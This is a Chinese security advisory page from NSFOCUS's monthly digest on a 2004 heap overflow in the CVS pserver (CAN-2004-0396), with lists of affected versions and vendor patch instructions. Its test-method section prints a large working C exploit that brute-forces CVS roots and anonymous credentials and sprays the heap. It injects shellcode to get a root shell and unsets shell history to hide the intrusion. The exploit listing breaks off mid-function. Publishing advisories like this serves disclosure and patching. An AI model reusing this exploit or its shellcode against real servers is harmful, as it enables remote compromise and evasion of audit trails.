首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第48期->最新漏洞
日期:2004-06-03
发布日期:2004-05-19
更新日期:2004-05-24
受影响系统:
CVS CVS 1.12.7
CVS CVS 1.12.2
CVS CVS 1.12.1
CVS CVS 1.11.6
CVS CVS 1.11.5
CVS CVS 1.11.4
CVS CVS 1.11.3
CVS CVS 1.11.2
CVS CVS 1.11.15
CVS CVS 1.11.14
CVS CVS 1.11.11
CVS CVS 1.11.10
CVS CVS 1.11
CVS CVS 1.10.8
CVS CVS 1.10.7
CVS CVS 1.11.1p1
- Conectiva Linux 8.0
- Conectiva Linux 7.0
- Debian Linux 3.0
- FreeBSD 4.7
- FreeBSD 4.6.1
- FreeBSD 4.6
- FreeBSD 4.5
- OpenBSD 3.4
- OpenBSD 3.3
- OpenBSD 3.2
- OpenBSD 3.1
- RedHat Linux 7.3
- RedHat Linux 7.2
- RedHat Linux 7.1
- RedHat Linux 7.0
- RedHat Linux 6.2
- SuSE Linux 8.1
- SuSE Linux 8.0
不受影响系统:
CVS CVS 1.12.8
CVS CVS 1.11.16
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 10384
CVE(CAN) ID: CAN-2004-0396
Concurrent Versions System (CVS)是一款使用极为广泛的开放源代码的版本控制软件。
CVS服务器在处理用户提交的给Entry数据打上已被修改或未被修改标记的Is-modified和Unchanged命令时存在问题,远程攻击者可以利用这个漏洞对CVS服务程序进行基于堆的溢出攻击,精心构建提交数据可能以进程权限在系统上执行任意指令。
当客户端发送一条Entry行给服务器,会额外增加字节来标记Entry是否为已被修改的或未被修改的。CVS服务器在处理标记粘附的操作逻辑上存在问题,导致允许插入任意多个'M'字符到用于存放Entry数据的堆缓冲区中。利用malloc() off-by-one利用技术可以触发缓冲区溢出,可能以CVS进程权限在系统上执行任意指令。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://security.e-matters.de/advisories/072004.html?SID=384b888de96e3bce19306db8577fca26
http://www.linux-mandrake.com/en/security/2004/2004-048.php
http://www.debian.org/security/2002/dsa-505
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-04:10.cvs.asc
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
无名氏提供了如下测试程序:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <netdb.h>
#include <errno.h>
#include <sys/time.h>
#include <zlib.h>
typedef unsigned char uchar;
void progress(void);
int brute_cvsroot(void);
int brute_username(void);
int brute_password(void);
void hdl_crashed(int);
void bsd_exploitation(void);
void try_exploit(void);
void zflush(int);
int zprintf(char *, ...);
int zgetch(void);
void start_gzip(void);
void fill_holes(void);
char * zgets(void);
void evil_entry(void);
void linux_exploitation(ulong, int);
void do_dicotomie(void);
void do_xploit(void);
char * flush_sock(void);
void usage(char *);
long getip(char *);
void try_oneshoot(void);
int connect_to_host(char *, int);
int write_sock(void *, int);
int read_sock(void *, int);
void nopen(char *, int);
char * ngets(void);
void memcpy_flush(void);
void cvs_conn(void);
int detect_remote_os(void);
void memcpy_remote(ulong, ulong, uchar *, int);
void memcpy_addr(ulong, ulong, int);
void nclose(void);
char * scramble(char *);
int sh(int);
struct array
{
char * name;
int id;
};
struct array CVSROOTS[]=
{
{ "/cvs" , -1 },
{ "/cvsroot" , -1 },
{ "/var/cvs" , -1 },
{ "/anoncvs" , -1 },
{ "/repository" , -1 },
{ "/home/CVS" , -1 },
{ "/home/cvspublic" , -1 },
{ "/home/cvsroot" , -1 },
{ "/var/lib/cvs" , -1 },
{ "/var/cvsroot" , -1 },
{ "/usr/lib/cvs" , -1 },
{ "/usr/CVSroot" , -1 },
{ "/usr/share/cvsroot" , -1 },
{ "/usr/local/cvsroot" , -1 },
{ "/usr/local/cvs" , -1 },
{ "/webcvs" , -1 },
{ NULL , -1 },
};
struct array USERNAMES[]=
{
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "cvsread" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ "reader" , -1 },
{ "cvslogin" , -1 },
{ "anon-cvs" , -1 },
{ NULL , -1 },
};
struct array PASSWORDS[]=
{
{ "" , -1 },
{ " " , -1 },
{ "anonymous" , -1 },
{ "anoncvs" , -1 },
{ "anon" , -1 },
{ "cvs" , -1 },
{ "guest" , -1 },
{ NULL , -1 },
};
#define HIGH_STACK 0xbfffffc0
#define LOWER_STACK 0xbfffd000
#define DEFAULT_ADDR 0xbffffd00
#define RANGE_VALID 0xbffffe00
#define DUMMY_ADDR 0x42424242
#define LINUX_ADDR 0xbfffe200
#define LINUX_SIZE 0x2000
#define HEAPBASE 0x082c512e
#define DEFAULT_TIMEOUT 20
#define TIMEOUT DEFAULT_TIMEOUT
#define CMD "export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:" \
"/usr/local/bin:/usr/local/sbin;alias ls='ls --color';"\
"unset HISTFILE;ABrox=`pwd`;cd /;echo RM -RF $ABrox;"\
"echo ---YOU ARE IN BRO : `hostname`---\nw;alias c=clear\n"
#define VERT "\033[32m"
#define NORM "\033[0m"
#define INFO ""
#define BAD_TRIP "WRONG !\n"
#define GOOD_TRIP VERT"FOUND"NORM" !\n"
#define QUIT(x...) { printf(x); exit(0); }
#ifdef DEBUGMSG
#define DEBUG(x...) fprintf(stderr, x)
#else
#define DEBUG(x...)
#endif
#define info(fmt...) fprintf(stderr, INFO""fmt)
#define aff(fmt...) fprintf(stderr, fmt)
static char tmpbuf[32000];
#define nprintf(fmt...) { snprintf(tmpbuf, sizeof(tmpbuf), fmt); \
write_sock(tmpbuf, strlen(tmpbuf)); }
#define nwrite(buf, cn) write_sock(sock, buf, cn)
#define nread(buf, cn) read_sock(sock, buf, cn)
#define NHOLES (256 - 31)
#define SCNUM 128
#define SCSIZE 32766
#define OFFSET 106
#define ALIGN(x, y) ((x % y) ? x + (x % y) : x)
#define SET_FD(x) (x - CHUNK_BK)
#define SET_BK(x) (x - CHUNK_FD)
#define UNSET_BK(x) (x + CHUNK_FD)
#define UNSET_FD(x) (x + CHUNK_BK)
#define MAX_FILL_HEAP 200
#define NUM_OFF7 (sizeof("Entry "))
#define MSIZE 0x4c
#define MALLOC_CHUNKSZ 8
#define AN_ENTRYSZ 8
#define MAGICSZ ((MALLOC_CHUNKSZ * 2) + AN_ENTRYSZ)
#define FAKECHUNK MSIZE - MAGICSZ + (NUM_OFF7 - 1)
#define SIZEBUF FAKECHUNK + 16
#define SIZE_VALUE -8
#define CHUNK_PSIZE 0
#define CHUNK_SIZE 4
#define CHUNK_FD 8
#define CHUNK_BK 12
#define OVERFLOW_NUM 8
#define DEFAULT_SIZE 0x300
#define SHELLCODE_OFF 0x142
#define SHELLCODE_ADDR (addr - SHELLCODE_OFF)
#define DUMMY2 "timetosleep"
#define DUMMY "theosuxdick"
#define MAGICSTRING "abroxyou"
#define ABMAGIC "-AB-"
#define ABMAGICSZ sizeof(ABMAGIC) - 1
#define EXPLOITROX "\t@#!@"VERT"SUCCESS"NORM"#@!#\n\n"
#define PCNT 20
#define CVS_PORT 2401
#define CVS_LOGIN "BEGIN AUTH REQUEST\n%s\n%s\n%s\n"\
"END AUTH REQUEST\n"
#define CVS_VERIF "BEGIN VERIFICATION REQUEST\n%s\n%s\n%s\n"\
"END VERIFICATION REQUEST\n"
#define CVS_SEND_ROOT "Root %s\n"
#define CVS_GET_VERSION "version\n"
#define CVS_FLUSH "\nnoop\nnoop\n"
#define CVS_AUTH_FAILED "I HATE YOU"
#define CVS_AUTH_SUCCESS "I LOVE YOU"
#define CVS_BAD_REP "no such repository"
#define CVS_NO_USER "no such user"
#define CVSENTRY "Entry "
#define CVS_ISMOD "Is-modified "
#define CVS_ISMODSZ sizeof(CVS_ISMOD) - 1
#define CVS_UNKNOW "unrecognized request"
#define CVS_ERROR "error"
#define CVS_ERROR2 "E "
#define CVS_GZIP "Gzip-stream "
#define CVS_OK "ok"
#define BANNER VERT"Ac1dB1tCh3z "NORM"(C)VS linux/*BSD pserver\n"
#define ERR_CVSROOT "unable to found a valid cvsroot\n"
#define ERR_USERNAME "unable to found a valid username\n"
#define ERR_PASSWORD "unable to found a valid password\n"
#define ERR_FAILURE "Is remote really linux/bsd without security patch ?\n"
#define ERR_AUTHFAILED "Fatal: authentification failure..\n"
#define ERR_ZPRINTF "Too long zprintf (something is broken) !\n"
#define ERR_INFLATE "Inflate error\n"
#define ERR_CONN "cannot connect\n"
#define ERR_GETIP "cannot resolve\n"
#define ERR_READSOCK "cannot read data\n"
#define ERR_WRITESOCK "cannot write data\n"
#define SUCCESS_LOGON VERT"Ok"NORM", we log in (user:%s, pass:%s, cvsroot:%s)"
#define bad_addr(x) (((x >> 8)&0xFF) == '\n' || ((x >> 8)&0xFF)=='\0'\
|| (x & 0xFF) == '\n' || (x & 0xFF) == '\0' || \
(x & 0xFF) == '/' || ((x >> 8) & 0xFF) == '/' || \
(x & 0xFF) == '\012' || ((x >> 8) & 0xFF) == '\012')
/* 0h j3sus */
char zbuf[65536 * 4];
int zbufpos;
int cur_num = 0;
int is_scramble = 0;
int detectos = 0;
int sock = 0;
int port = CVS_PORT;
ulong saddr = DEFAULT_ADDR;
uint size = DEFAULT_SIZE;
int timeout = DEFAULT_TIMEOUT;
int scnum = SCNUM;
ulong heapbase = HEAPBASE;
int isbsd = 0;
int usent = 0;
int zsent = 0;
char *root = NULL;
char *user = NULL;
char *pass = NULL;
char *host = NULL;
z_stream zout;
z_stream zin;
/*
** write(1, "abroxyou", 8) / setuid(0) / execve / exit;
** Linux only
*/
uchar ab_shellcode[] =
"\xeb\x15\x42\x4c\x34\x43\x4b\x48\x34\x37\x20\x34\x20\x4c\x31\x46\x33"
"\x20\x42\x52\x4f\x21\x0a\x31\xc0\x50\x68\x78\x79\x6f\x75\x68\x61\x62"
"\x72\x6f\x89\xe1\x6a\x08\x5a\x31\xdb\x43\x6a\x04\x58\xcd\x80\x6a\x17"
"\x58\x31\xdb\xcd\x80\x31\xd2\x52\x68\x2e\x2e\x72\x67\x58\x05\x01\x01"
"\x01\x01\x50\xeb\x12\x4c\x45\x20\x54\x52\x55\x43\x20\x43\x48\x45\x4c"
"\x4f\x55\x20\x49\x43\x49\x68\x2e\x62\x69\x6e\x58\x40\x50\x89\xe3\x52"
"\x54\x54\x59\x6a\x0b\x58\xcd\x80\x31\xc0\x40\xcd\x80";
/*
** setuid(geteuid()) / write(1, "-AB-", 4) / dup2 / execve
** Linux/BSD
*/
uchar xx_shellcode[] =
"\x6a\x1b\x58\x31\xdb\xcd\x80\x85\xc0\x74\x42\x6a\x19\x58"
"\x50\xcd\x80\x50\x6a\x17\x58\x50\xcd\x80\x68\x2d\x41\x42"
"\x2d\x89\xe3\x6a\x04\x58\x50\x53\x6a\x01\x50\xcd\x80\x6a"
"\x02\x6a\x01\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x6e\x2f"
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x50"
"\x51\x53\x50\xb0\x3b\xcd\x80\x6a\x31\x58\xcd\x80\x93\x6a"
"\x17\x58\xcd\x80\x6a\x04\x58\x6a\x01\x5b\x68\x2d\x41\x42"
"\x2d\x89\xe1\x89\xc2\xcd\x80\xb0\x3f\x6a\x01\x5b\x6a\x02"
"\x59\xcd\x80\x31\xc0\x99\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x00";
void usage(char * base)
{
printf("Us4g3 : r34d 7h3 c0d3 d00d ;P\n");
exit(0);
}
int main(int ac, char **av)
{
int c;
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf(BANNER);
while ((c = getopt(ac, av, "r:u:p:h:P:s:S:t:iRbo:n:")) != EOF)
{
switch(c)
{
case 'b':
isbsd++;
break;
case 'R':
detectos++;
break;
case 'r':
root = strdup(optarg);
break;
case 'i':
is_scramble = 1;
break;
case 's':
saddr = strtoul(optarg, 0, 0);
break;
case 't':
timeout = strtoul(optarg, 0, 0);
break;
case 'S':
size = strtoul(optarg, 0, 0);
break;
case 'u':
user = strdup(optarg);
break;
case 'p':
pass = strdup(optarg);
break;
case 'h':
host = strdup(optarg);
break;
case 'P':
port = strtoul(optarg, 0, 0);
break;
case 'o':
heapbase = strtoul(optarg, 0, 0);
break;
case 'n':
scnum = strtoul(optarg, 0, 0);
break;
default:
usage(av[0]);
}
}
if (!host || (detectos && isbsd))
usage(av[0]);
if (!root)
if(!brute_cvsroot())
QUIT(ERR_CVSROOT);
if (!user)
if(!brute_username())
QUIT(ERR_USERNAME);
if (!pass)
if(!brute_password())
QUIT(ERR_PASSWORD);
do_xploit();
return (0);
}
void do_xploit(void)
{
int linux_only = 0;
signal(SIGPIPE, hdl_crashed);
if (detectos)
linux_only = detect_remote_os();
if (isbsd)
bsd_exploitation();
else
{
linux_exploitation(LINUX_ADDR, LINUX_SIZE);
if (!linux_only)
bsd_exploitation();
}
printf(ERR_FAILURE);
return;
}
int detect_remote_os(void)
{
info("Guessing if remote is a cvs on a linux/x86...\t");
if(range_crashed(0xbfffffd0, 0xbfffffd0 + 4) ||
!range_crashed(0x42424242, 0x42424242 + 4))
{
printf(VERT"NO"NORM", assuming it's *BSD\n");
isbsd = 1;
return (0);
}
printf(VERT"Yes"NORM" !\n");
return (1);
}
void bsd_exploitation(void)
{
printf("Exploiting %s on a *BSD\t", host);
do_auth();
fill_holes();
evil_entry();
start_gzip();
try_exploit();
}
void linux_exploitation(ulong addr, int sz)
{
char * buf;
printf("Exploiting %s on a Linux\t", host);
cvs_conn();
fflush(stdout);
memcpy_addr(addr, SHELLCODE_ADDR, sz);
memcpy_remote(RANGE_VALID, SHELLCODE_ADDR, ab_shellcode,
sizeof(ab_shellcode) - 1);
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, MAGICSTRING))
{
printf(EXPLOITROX);
sh(sock);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
info(BAD_TRIP);
}
int do_auth(void)
{
char * your_mind;
nopen(host, port);
nprintf(CVS_LOGIN, root, user, scramble(pass));
your_mind = flush_sock();
if (!strstr(your_mind, CVS_AUTH_SUCCESS))
QUIT(ERR_AUTHFAILED);
free(your_mind);
nprintf(CVS_SEND_ROOT, root);
}
void fill_heap(void)
{
int c;
for (c = 0; c != MAX_FILL_HEAP; c++)
nprintf(CVSENTRY"CCCCCCCCC/CCCCCCCCCCCCCCCCCCCCCCCCCC"
"CCCCCCCCCCCCCCCCCCCCC/CCCCCCCCCCC\n");
for (c = 0; c != (MAX_FILL_HEAP * 2); c++)
nprintf(CVSENTRY"CC/CC/CC\n");
}
void cvs_conn(void)
{
do_auth();
fill_heap();
}
char * get_dummy(void)
{
static char buf[2048] = { '\0' };
memset(buf, '\0', sizeof(buf));
sprintf(buf, CVSENTRY"B%s/", DUMMY2);
memset(buf + strlen(buf), 'B', SIZEBUF - strlen(DUMMY2));
strcat(buf, "/\n");
return (&buf[0]);
}
char * build_chunk(ulong addr1, ulong addr2, int i)
{
char num[20];
char * buf = get_dummy();
if (i != -1)
{
sprintf(num, "%d", i);
memcpy(buf + NUM_OFF7, num, strlen(num));
}
*(int *) (buf + FAKECHUNK + CHUNK_SIZE) = SIZE_VALUE;
*(int *) (buf + FAKECHUNK + CHUNK_FD) = SET_FD(addr1);
*(int *) (buf + FAKECHUNK + CHUNK_BK) = SET_BK(addr2);
return (buf);
}
void memcpy_flush(void)
{
int i = 0, j;
char * buf;
char num[20];
if (!cur_num)
return;
buf = get_dummy();
for (i = 0; i != cur_num - 1; i++)
{
sprintf(buf, CVS_ISMOD"%s\n", DUMMY2);
sprintf(num, "%d", i);
memcpy(buf + CVS_ISMODSZ, num, strlen(num));
for (j = 0; j != OVERFLOW_NUM; j++)
nprintf(buf);
}
return;
}
void memcpy_remote(ulong range, ulong addr, uchar * buf,
int sz)
{
int i;
if (sz <= 0)
return ;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (i = sz - 1, addr += (sz - 1); i >= 0; i--, addr--)
{
range &= 0xFFFFFF00;
range += buf[i];
if (!bad_addr(SET_FD(addr)) && !bad_addr(range))
nprintf(build_chunk(addr, UNSET_BK(range), cur_num++));
}
return;
}
void memcpy_addr(ulong eipaddr, ulong shelladdr, int sz)
{
int aff = (sz / 4) / PCNT, j;
if (!cur_num)
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
putchar('[');
for (j = 0; j != PCNT; j++)
putchar(' ');
putchar(']');
for (j = 0; j != PCNT + 1; j++)
putchar('\b');
fflush(stdout);
for (j = 0; sz >= 0 && eipaddr <= HIGH_STACK; sz -= 4, eipaddr += 4, j++)
{
if (j == aff)
{
putchar('#');
fflush(stdout);
j = 0;
}
if (!bad_addr(SET_FD(eipaddr)) && !bad_addr(shelladdr))
nprintf(build_chunk(eipaddr, UNSET_BK(shelladdr), cur_num++));
}
printf("#\t");
fflush(stdout);
return;
}
int range_crashed(int addr, int addr2)
{
char * buf;
cvs_conn();
nprintf(build_chunk(DUMMY_ADDR, DUMMY_ADDR, cur_num++));
for (; addr < addr2; addr += 8)
if (!bad_addr(SET_FD(addr)) && !bad_addr(SET_BK(addr + 4)))
nprintf(build_chunk(addr, addr + 4, cur_num++));
memcpy_flush();
nprintf(CVS_FLUSH);
buf = flush_sock();
if (strstr(buf, CVS_OK) || strstr(buf, CVS_UNKNOW)
|| strstr(buf, CVS_ERROR) || strstr(buf, CVS_ERROR2))
{
nclose();
return (0);
}
#ifdef SHITTEST
sleep(333);
#endif
nclose();
return (1);
}
void zflush(int finish)
{
static char outbuf[65536];
zout.next_in = zbuf;
zout.avail_in = zbufpos;
do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
QUIT("zflush : deflate failed !\n");
zsent += sizeof(outbuf) - zout.avail_out;
write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_out == 0 && zout.avail_in != 0);
zbufpos = 0;
return;
}
int zprintf(char *fmt, ...)
{
static char buf[65536];
int len;
va_list ap;
va_start(ap, fmt);
len = vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
usent += len;
if ((sizeof(zbuf) - zbufpos) < (len))
zflush(0);
memcpy(zbuf + zbufpos, buf, len);
zbufpos += len;
if (zbufpos >= sizeof(zbuf))
QUIT(ERR_ZPRINTF);
return (len);
}
int zgetch(void)
{
static char * outbuf = NULL;
static int outpos = 0, outlen = 0;
static char rcvbuf[32768];
static char dbuf[4096];
int got;
retry:
if (outpos < outlen && outlen)
return outbuf[outpos++];
free(outbuf);
outlen = 0;
outbuf = NULL;
got = read_sock(rcvbuf, sizeof(rcvbuf));
if (got <= 0)
QUIT(ERR_READSOCK);
zin.next_in = rcvbuf;
zin.avail_in = got;
while (1)
{
int status, dlen;
zin.next_out = dbuf;
zin.avail_out = sizeof(dbuf);
status = inflate(&zin, Z_PARTIAL_FLUSH);
switch (status)
{
case Z_OK:
outpos = 0;
dlen = sizeof(dbuf) - zin.avail_out;
outlen += dlen;
outbuf = realloc(outbuf, outlen);
memcpy(outbuf + outlen - dlen, dbuf, dlen);
break;
case Z_BUF_ERROR:
goto retry;
default:
QUIT(ERR_INFLATE);
}
}
}
char * zgets(void)
{
static char buf[32768];
char * p = buf;
int c;
while (1)
{
c = zgetch();
if (c == '\n')
break;
*p++ = c;
if (p > buf + sizeof(buf))
{
p--;
break;
}
}
*p = 0;
return (buf);
}
void start_gzip(void)
{
nprintf(CVS_GZIP"1\n");
deflateInit(&zout, 9);
inflateInit(&zin);
return;
}
void fill_holes(void)
{
int i, j;
for (i = 0; i < 10; i++)
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i < 10; i++)
nprintf(CVSENTRY"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (i = 0; i < NHOLES; i++)
{
nprintf(CVSENTRY"ac1db1tch3z/blackhat4life/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n");
for (j = 0; j < 5; j++)
nprintf(CVSENTRY"%.*X\n", j * 8 - 2, 11);
}
nprintf("Set x=%472X\n", 10);
return;
}
void evil_entry(void)
{
int i;
ulong heap = heapbase;
nprintf("Set x=\n");
nprintf(CVSENTRY"/AB/AA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24),
heap & 0xff, (heap >> 8) & 0xff, (heap >> 16) & 0xff, (heap >> 24));
}
void try_exploit(void)
{
time_t last, now;
int i, j, len, o;
static char sc[SCSIZE+1];
for (i = 0; i < OFFSET; i++)
zprintf(CVS_ISMOD"AB\n");
printf("[", SCSIZE * scnum / 1024);
for (i = 0; i < PCNT; i++)
putchar(' ');
printf("]");
for (i = 0; i < PCNT + 1; i++)
printf("\b");
memset(sc, 'A', SCSIZE);
memcpy(sc + SCSIZE - sizeof(xx_shellcode), xx_shellcode,
sizeof(xx_shellcode));
sc[SCSIZE] = 0;
last = o = 0;
for (i = 0; i < scnum; i++)
{
now = time(NULL);
if (now > last || (i + 1 == scnum))
{
last = now;
for (j = 0; j < o; j++)
printf("\b");
for (j = 0; j < (o = ((i+1) * PCNT / scnum)); j++)
printf("#");
}
zprintf(CVSENTRY"%s\n", sc);
}
printf("] ");
zflush(0);
建议:
--------------------------------------------------------------------------------
厂商补丁:
CVS
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
CVS Upgrade cvs-1.11.16.tar.gz
http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=489
CVS Upgrade cvs-1.12.8.tar.gz
http://ccvs.cvshome.org/servlets/ProjectDownloadList?action=download&dlID=491
Debian
------
Debian已经为此发布了一个安全公告(DSA-505-1)以及相应补丁:
DSA-505-1:New cvs packages fix remote exploit
链接:http://www.debian.org/security/2002/dsa-505
补丁下载:
Source archives:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4.dsc
Size/MD5 checksum: 693 c4580daf3d02e68bf271c3fc2fa9fe8c
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4.diff.gz
Size/MD5 checksum: 52212 a44f53ccf950679f3257a2f3487220b7
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian.orig.tar.gz
Size/MD5 checksum: 2621658 500965ab9702b31605f8c58aa21a6205
Alpha architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_alpha.deb
Size/MD5 checksum: 1178736 503ab302999d5fec9c4cb41f735bc2ab
ARM architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_arm.deb
Size/MD5 checksum: 1105276 8b2536e975a3272b5d10590bd768b6c7
Intel IA-32 architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_i386.deb
Size/MD5 checksum: 1085994 195aa822dbd450bbb3321f17442b3644
Intel IA-64 architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_ia64.deb
Size/MD5 checksum: 1270986 2adee3e24f61234e0c597c55983257df
HP Precision architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_hppa.deb
Size/MD5 checksum: 1147338 e1a7eec47c9f6ca11d342c7a680abd93
Motorola 680x0 architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_m68k.deb
Size/MD5 checksum: 1065866 5238933fe0b1d9a9e7e2506cc39d8411
Big endian MIPS architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_mips.deb
Size/MD5 checksum: 1129740 c6e9a932c2bdabbfee51c792d813a439
Little endian MIPS architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_mipsel.deb
Size/MD5 checksum: 1131106 05424d6056d0c9123c88b7e7f6b27f7d
PowerPC architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_powerpc.deb
Size/MD5 checksum: 1116184 1fe49f6356a160087cf669f7afc12700
IBM S/390 architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_s390.deb
Size/MD5 checksum: 1097006 6e98ead7e926fc07203cf43e84b1152d
Sun Sparc architecture:
http://security.debian.org/pool/updates/main/c/cvs/cvs_1.11.1p1debian-9woody4_sparc.deb
Size/MD5 checksum: 1107284 47f8dad7b309c9c19542bf1fc9502f77
补丁安装方法:
1. 手工安装补丁包:
首先,使用下面的命令来下载补丁软件:
# wget url (url是补丁下载链接地址)
然后,使用下面的命令来安装补丁:
# dpkg -i file.deb (file是相应的补丁名)
2. 使用apt-get自动安装补丁包:
首先,使用下面的命令更新内部数据库:
# apt-get update
然后,使用下面的命令安装更新软件包:
# apt-get upgrade
FreeBSD
-------
FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-04:10)以及相应补丁:
FreeBSD-SA-04:10:CVS pserver protocol parser errors
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-04:10.cvs.asc
补丁下载:
执行以下步骤之一:
1) 将有漏洞的系统升级到4-STABLE,或修订日期后的_5_2,RELENG_4_9或RELENG_4_8
安全版本。
2) 为当前系统打补丁:
已验证下列补丁可应用于FreeBSD 4.7, 4.8, 4.9, 4.10, 5.0, 5.1和5.2系统。
a) 从以下位置下载相关补丁,并使用PGP工具验证附带的PGP签名。
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:10/cvs.patch
# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-04:10/cvs.patch.asc
b) 以root执行以下命令:
# cd /usr/src
# patch < /path/to/patch
# cd /usr/src/gnu/usr.bin/cvs
# make obj && make depend && make && make install
VI. 更新细节
下面列出了已修正的FreeBSD版本中每个被修改文件的
MandrakeSoft
------------
MandrakeSoft已经为此发布了一个安全公告(MDKSA-2004:048)以及相应补丁:
MDKSA-2004:048:Updated cvs packages fix remotely exploitable vulnerability
链接:http://www.linux-mandrake.com/en/security/2004/2004-048.php
补丁下载:
Updated Packages:
Mandrakelinux 10.0:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/10.0/RPMS/cvs-1.11.14-0.2.100mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/10.0/SRPMS/cvs-1.11.14-0.2.100mdk.src.rpm
Mandrakelinux 10.0/AMD64:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/10.0/RPMS/cvs-1.11.14-0.2.100mdk.amd64.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/10.0/SRPMS/cvs-1.11.14-0.2.100mdk.src.rpm
Corporate Server 2.1:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/corporate/2.1/RPMS/cvs-1.11.14-0.2.C21mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/corporate/2.1/SRPMS/cvs-1.11.14-0.2.C21mdk.src.rpm
Corporate Server 2.1/x86_64:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/x86_64/corporate/2.1/RPMS/cvs-1.11.14-0.2.C21mdk.x86_64.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/x86_64/corporate/2.1/SRPMS/cvs-1.11.14-0.2.C21mdk.src.rpm
Mandrakelinux 9.1:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.1/RPMS/cvs-1.11.14-0.2.91mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.1/SRPMS/cvs-1.11.14-0.2.91mdk.src.rpm
Mandrakelinux 9.1/PPC:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/ppc/9.1/RPMS/cvs-1.11.14-0.2.91mdk.ppc.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/ppc/9.1/SRPMS/cvs-1.11.14-0.2.91mdk.src.rpm
Mandrakelinux 9.2:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.2/RPMS/cvs-1.11.14-0.2.92mdk.i586.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/9.2/SRPMS/cvs-1.11.14-0.2.92mdk.src.rpm
Mandrakelinux 9.2/AMD64:
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/9.2/RPMS/cvs-1.11.14-0.2.92mdk.amd64.rpm
ftp://download.sourceforge.net/pub/mirrors/mandrake/updates/amd64/9.2/SRPMS/cvs-1.11.14-0.2.92mdk.src.rpm
_______________________________________________________________________
To upgrade automatically use MandrakeUpdate or urpmi. The verification
of md5 checksums and GPG signatures is performed automatically for you.
A list of FTP mirrors can be obtained from:
http://www.mandrakesecure.net/en/ftp.php
上述升级软件还可以在下列地址中的任意一个镜像ftp服务器上下载:
